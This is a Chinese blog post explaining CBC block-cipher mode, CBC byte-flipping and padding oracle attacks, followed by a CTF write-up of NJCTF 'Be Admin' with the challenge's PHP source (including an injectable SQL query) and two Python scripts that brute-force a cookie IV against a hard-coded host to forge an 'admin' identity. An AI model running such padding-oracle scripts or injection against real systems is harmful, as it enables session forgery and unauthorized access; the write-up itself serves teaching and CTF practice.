当前位置: 首页 > news >正文

c++判断整数翻转溢出_CBC字节翻转攻击解析

CBC字节翻转攻击解析

一、分组密码的模式

分组密码的主要模式有5种:

  1. ECB模式(电子密码本模式)—(Electronic CodeBook mode)

  2. CBC模式(密码分组链接模式)—(Cipher Block Chaining mode)

  3. CFB模式(密文反馈模式)—(Cipher FeedBack mode)

  4. OFB模式(输出反馈模式)—(Output FeedBack mode)

  5. CTR模式(计数器模式)—(CounteR mode)

这里只详细介绍CBC密码分组链接模式:通过下图简要介绍

aa923d6a4479ebf8dafcb4f40f33b52a.png

首先,我们给定一组明文,我们按照AES或者DES加密标准,将数据分成几块,每一块的大小可以是16字节,32字节等(将文明分为上面图示的明文分组)

然后我们给定一个长度和分组相同的初始化向量(IV),与每一块明文分组进行异或操作,将得到的数据通过密钥加密,得到密文分组。得到的当前一块的密文分组作为下一个块加密的初始化向量。(如图所示)

二、CBC字节翻转攻击

该攻击,可以使我们在已知密文的情况下,控制明文为我们想要的数据。(后面介绍的padding oracle attack不仅可以控制明文,还可以获取明文数据)

aa923d6a4479ebf8dafcb4f40f33b52a.png

还是通过上面的图来介绍,这里探究一下解密的过程:(从后往前)

例如,通过正常的解密,我们要得到明文分组4,应该怎么做:

将密文分组4解密后与密文分组3异或,便得到明文分组4

(这里稍微介绍一下异或的性质,例如A异或B得到C,那么C异或B也会得到A)

因为我们一般情况下,都会知道密文。我们可以任意修改密文分组3,当他与密文分组4解密后的那一部分异或后,那么得到的明文分组就与之前的不同。

(我们可以尽量尝试构造密文分组的每一位------因为我们知道异或是位的运算)

到这里,我们就可以伪造明文分组4为我们想要构成的数据(尽管我们不知道密文分组4的解密密钥是什么,但我们仍然可以任意构造明文分组4)

同理,明文分组3、明文分组2我们都可以通过前一个密文分组来自定义构造我们想要的值(至于第一部分,如果我们知道最初的初始化向量IV,那么也是可以构造的)

三、Padding Oracle Attack攻击

首先介绍一下数据块的填充规则,常见的有PKCS #5和PKCS #7分别填充的是8字节分组和16字节分组。

例如我们采用PKCS #7的填充方式,给定一串明文"m1sn0w",长度为6,因为PKCS #7填充的是16字节组分,所有需要填充10个字节,让填充的字节是16的整数倍。那么填充的字符是什么?答案是0x0a(16进制表示的10)

以此类推:

如果明文长度为15,我们需要填充一个字节0x01如果明文长度为14,我们需要填充两个个字节0x02这里特别需要注意的是:如果明文长度为16的整数字节长,它也需要填充它会一次填充16位,且填充的字符为0x10

下面介绍一下关于Padding Oracle Attack攻击的一些条件。

首先需要介绍的是一般对于CBC模式的解密,有几种判断情况:

1、正常解密,得到明文2、解密成功,但是解密得到的和明文不匹配3、解密错误,抛出异常

这里要特别提一下解密错误:当我们第一串密文进行CBC模式的解密的时候,解密完成以后,程序会通过最后解密出来的明文的填充符来判断是否解密成功。

例如:

如果解密出来的明文最后的1位填充符为0x01,那么程序判定解密成功

相反,如果解密出来只有最后一位为0x02,那么程序会判断解密错误(因为我们知道,如果填充符为0x02,那么应该是最后两位为0x02)

在Web应用程序中,我们通常会有三种逻辑判断。(例如加密数据用于cookie)

1、如果cookie正常解密,且明文匹配,那么我们可以直接进入网页2、cookie正常解密,但是解密出来的明文不符合,仍然不可以登录3、cookie解密错误,抛出500错误

如果网页存在以上情况,就可能存在padding oracle attack攻击,那么该攻击如何实现?

这里利用的还是上面介绍到的CBC翻转攻击,还是用该图示来介绍:

aa923d6a4479ebf8dafcb4f40f33b52a.png

我们知道,构造密文分组3,可以任意构造出明文分组4的值。

通过上面的三种逻辑判断,如果我们构造密文分组3的最后一位,通过试探穷举,明文分组4的最后一位总会得到0x01的。

假设我们处在上方的Web应用程序环境中,只有正确构造出密文分组3的最后一位,使明文分组4的最后一位为0x01,那么程序才不会返回500的错误。

然后我们将密文分组3的最后一位与0x01异或,便得到密文分组4解密后的最后一位的值(通过异或的性质得到)

如此循环:

通过第一步,我们得到最后一位的中间值,然后我们构造密文分组3的倒数第二个和倒数第一个(倒数第一个就比较好构造,因为我们已经知道了中间值),使明文分组4的最后两个为0x02,从而我们就可以得到倒数第二位的中间值(依次重复,构造0x03,0x04,最终我们将得到所有密文分组通过解密后的这一串中间值)

那么想要得到明文数据就很简单了,因为我们已经知道了中间值,又知道了密文,只需要进行相应的异或,便可以得到明文数值。

四、NJCTF Web Be Admin

该题是一个padding oracle attack攻击的比较典型的一个例子。

(复现的源代码在github上直接就可以搜到)

拿到改题目,通过文件备份,拿到源码:

<?php include 'config.php';error_reporting(0);define("SECRET_KEY", "this_is_key_you_do_not_know");define("METHOD", "aes-128-cbc");session_start();function get_random_token(){    $random_token='';    for($i=0;$i<16;$i++){        $random_token.=chr(rand(1,255));    }    return $random_token;}function get_identity(){    global $defaultId;    $j = $defaultId;    $token = get_random_token();    $c = openssl_encrypt($j, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $token);    $_SESSION['id'] = base64_encode($c);    setcookie("ID", base64_encode($c));    setcookie("token", base64_encode($token));    if ($j === 'admin') {        $_SESSION['isadmin'] = true;    } else $_SESSION['isadmin'] = false;}function test_identity(){    if (!isset($_COOKIE["token"]))        return array();    if (isset($_SESSION['id'])) {        $c = base64_decode($_SESSION['id']);        if ($u = openssl_decrypt($c, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, base64_decode($_COOKIE["token"]))) {            if ($u === 'admin') {                $_SESSION['isadmin'] = true;            } else $_SESSION['isadmin'] = false;        } else {            die("ERROR!");        }    }}function login($encrypted_pass, $pass){    $encrypted_pass = base64_decode($encrypted_pass);    $iv = substr($encrypted_pass, 0, 16);    $cipher = substr($encrypted_pass, 16);    $password = openssl_decrypt($cipher, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv);        return $password == $pass;}function need_login($message = NULL) {    echo "                                   Login                                    ";    if (isset($message)) {        echo "  
" . $message . "
\n";   }   echo "                                          
                     
LogIn
                 
                                                                          ";}function show_homepage() {   echo "Login";   global $flag;   printf("Hello ~~~ ctfer! ");   if ($_SESSION["isadmin"])       echo $flag;   echo "
Log out
";}if (isset($_POST['username']) && isset($_POST['password'])) {   $username = (string)$_POST['username'];   $password = (string)$_POST['password'];   $query = "SELECT username, encrypted_pass from users WHERE username='$username'";   $res = $conn->query($query) or trigger_error($conn->error . "[$query]");   if ($row = $res->fetch_assoc()) {       $uname = $row['username'];       $encrypted_pass = $row["encrypted_pass"];   }       if ($row && login($encrypted_pass, $password)) {       echo "you are in!" . "";       get_identity();       show_homepage();   } else {       echo "       need_login("Login Failed!");   }} else {   test_identity();   if (isset($_SESSION["id"])) {       show_homepage();   } else {       need_login();   }}

简单审计之后,大致的利用过程如下:

1、通过sql的union注入,登录进去,获取到SESSION['id']的值登录过后,会返回cookie的token值2、然后我们通过test_identity函数,进行padding oracle attack攻击

这里主要介绍一下test_identity函数:

function test_identity(){    if (!isset($_COOKIE["token"]))        return array();    if (isset($_SESSION['id'])) {        $c = base64_decode($_SESSION['id']);        if ($u = openssl_decrypt($c, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, base64_decode($_COOKIE["token"]))) {            if ($u === 'admin') {                $_SESSION['isadmin'] = true;            } else $_SESSION['isadmin'] = false;        } else {            die("ERROR!");        }    }}

其中,实施攻击的部分主要是在这里:

if ($u = openssl_decrypt($c, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, base64_decode($_COOKIE["token"])))

我们不知道SECRET_KEY,也就是密钥,也不知道$c明文,但是,我们可以控制$_COOKIE["token"],并且他在这里作为了初始化向量IV

(该题目正好符合我们所假设的Web环境,如果解密出错,die("ERROR"))

那么我们就可以通过不断的构造$_COOKIE['token']的值,最终伪造出一个明文,其值为admin0x0b0x0b0x0b0x0b0x0b0x0b0x0b0x0b0x0b0x0b0x0b

下面给出一个自己写的脚本:

import base64import requestsfrom binascii import a2b_heximport urllibdef deal_hex(index):    tmp = hex(index)    if index > 15:        return a2b_hex(tmp[2:])    else:        return a2b_hex('0'+tmp[2:])def padding(token,pad):    tmp_token = token    if len(middle_value) != 0:        for index in middle_value:            tmp_token += deal_hex(index ^ pad)    return tmp_tokenurl = "http://121.41.113.245:8085/"token = "A0KKqNuqv5jpnfe62FGFpw%3D%3D"urldeal = urllib.parse.unquote(token)tokens = base64.b64decode(urldeal)middle_value = []for j in range(16):    change = j + 1    tmp_index = 16-j-1    tmp_token = tokens[0:tmp_index]    for i in range(0, 255):        ch = deal_hex(i)        # print(len(tokens[0:15] + ch))        newtoken = padding(tmp_token+ch,change)        newtoken = urllib.parse.quote(str(base64.b64encode(newtoken),encoding='utf-8'))        #print(newtoken)        # print(newtoken)        header = {            "Cookie": "PHPSESSID=fhgkecm8p2dr0meg854g728706;ID=riMd%2FSaFOw%2BDBDOkLkGukw%3D%3D;token=" + newtoken        }        r = requests.post(url, headers=header)        if "ERR" not in r.text:            middle_value.insert(0,change ^ i)            print(middle_value)            break

该脚本获取中间值(也就是密文解密的那一部分值)---(此脚本存在一点点缺陷,不能获取第一位的中间值,所以使用下面的脚本直接对第一个值进行爆破)

import requests
import base64
from binascii import a2b_hex
import urllib
def deal_hex(index):
tmp = hex(index)
if index > 15:
return a2b_hex(tmp[2:])
else:
return a2b_hex('0'+tmp[2:])
url = "http://121.41.113.245:8085/"
inin_iv = [0, 83, 130, 178, 193, 170, 191, 152, 233, 157, 247, 186, 216, 81, 133, 173]
for i in range(0,255):
inin_iv[0] = i
token = b''
for i in inin_iv:
token += deal_hex(i)
newtoken = urllib.parse.quote(str(base64.b64encode(token),encoding='utf-8'))
header = {
"Cookie": "PHPSESSID=fhgkecm8p2dr0meg854g728706;ID=riMd%2FSaFOw%2BDBDOkLkGukw%3D%3D;token=" + newtoken
}
r = requests.post(url, headers=header)
if "{" in r.text:
print(r.text)

其中的inin_iv是第一个脚本获取的值与要构造的明文的异或的值。

最终得到flag

Login
Hello ~~~ ctfer! CTFTraining{CoColi_has_to_work_hard}
Log out

参考链接:

https://www.freebuf.com/articles/database/151167.html

相关文章:

  • python调用数据库存储过程_Mysql学习---使用Python执行存储过程
  • python实现中值滤波_Python 实现中值滤波、均值滤波
  • bigdecimal不保留小数_深入理解 BigDecimal
  • mysql 去重复查询_MySQL事务隔离级别和实现原理(看这一篇文章就够了!)
  • matlab追赶法解三对角方程组_高斯消元法解线性方程组
  • case when then else_第6章 函数、谓词、CASE表达式及练习题
  • git add 撤销_Git中的各种后悔药
  • python 爬取实时数据django显示_django+echart数据动态显示的例子
  • python获取安卓手机的屏幕_[Python]从安卓手机获取屏幕截图
  • rust编程之道 pdf_哪种编程语言又快又省电?有人对比了27种语言
  • python判断一个元素是否在列表中_python判断元素在列表中是否存在
  • python中的可视化工具_Python中常用的可视化工具 Matplotlib 简单入门
  • it项目经理带一个项目的完整_项目经理,一个完整的项目管理流程你做对了吗?...
  • dll 调用exe_盘点RUNDLL32.EXE的多种滥用方式及检测特征
  • python安装launcher要选吗_python的launcher用法知识点总结
  • IE9 : DOM Exception: INVALID_CHARACTER_ERR (5)
  • [case10]使用RSQL实现端到端的动态查询
  • C# 免费离线人脸识别 2.0 Demo
  • swift基础之_对象 实例方法 对象方法。
  • 不用申请服务号就可以开发微信支付/支付宝/QQ钱包支付!附:直接可用的代码+demo...
  • 创建一种深思熟虑的文化
  • 高性能JavaScript阅读简记(三)
  • 给第三方使用接口的 URL 签名实现
  • 缓存与缓冲
  • 基于Mobx的多页面小程序的全局共享状态管理实践
  • 类orAPI - 收藏集 - 掘金
  • 如何借助 NoSQL 提高 JPA 应用性能
  • 如何在GitHub上创建个人博客
  • 微信小程序开发问题汇总
  • 微信小程序设置上一页数据
  • 移动端解决方案学习记录
  • ​DB-Engines 12月数据库排名: PostgreSQL有望获得「2020年度数据库」荣誉?
  • ###51单片机学习(2)-----如何通过C语言运用延时函数设计LED流水灯
  • $HTTP_POST_VARS['']和$_POST['']的区别
  • (5)STL算法之复制
  • (Arcgis)Python编程批量将HDF5文件转换为TIFF格式并应用地理转换和投影信息
  • (react踩过的坑)Antd Select(设置了labelInValue)在FormItem中initialValue的问题
  • (二)PySpark3:SparkSQL编程
  • (三)终结任务
  • (原創) 如何解决make kernel时『clock skew detected』的warning? (OS) (Linux)
  • (转)从零实现3D图像引擎:(8)参数化直线与3D平面函数库
  • (转)总结使用Unity 3D优化游戏运行性能的经验
  • .mysql secret在哪_MYSQL基本操作(上)
  • .NET core 自定义过滤器 Filter 实现webapi RestFul 统一接口数据返回格式
  • .net mvc部分视图
  • .NET开源项目介绍及资源推荐:数据持久层
  • .net图片验证码生成、点击刷新及验证输入是否正确
  • .NET中的十进制浮点类型,徐汇区网站设计
  • .pyc文件还原.py文件_Python什么情况下会生成pyc文件?
  • .w文件怎么转成html文件,使用pandoc进行Word与Markdown文件转化
  • @CacheInvalidate(name = “xxx“, key = “#results.![a+b]“,multi = true)是什么意思
  • [ 蓝桥杯Web真题 ]-布局切换
  • [30期] 我的学习方法
  • [AutoSar]BSW_Com07 CAN报文接收流程的函数调用
  • [CentOs7]iptables防火墙安装与设置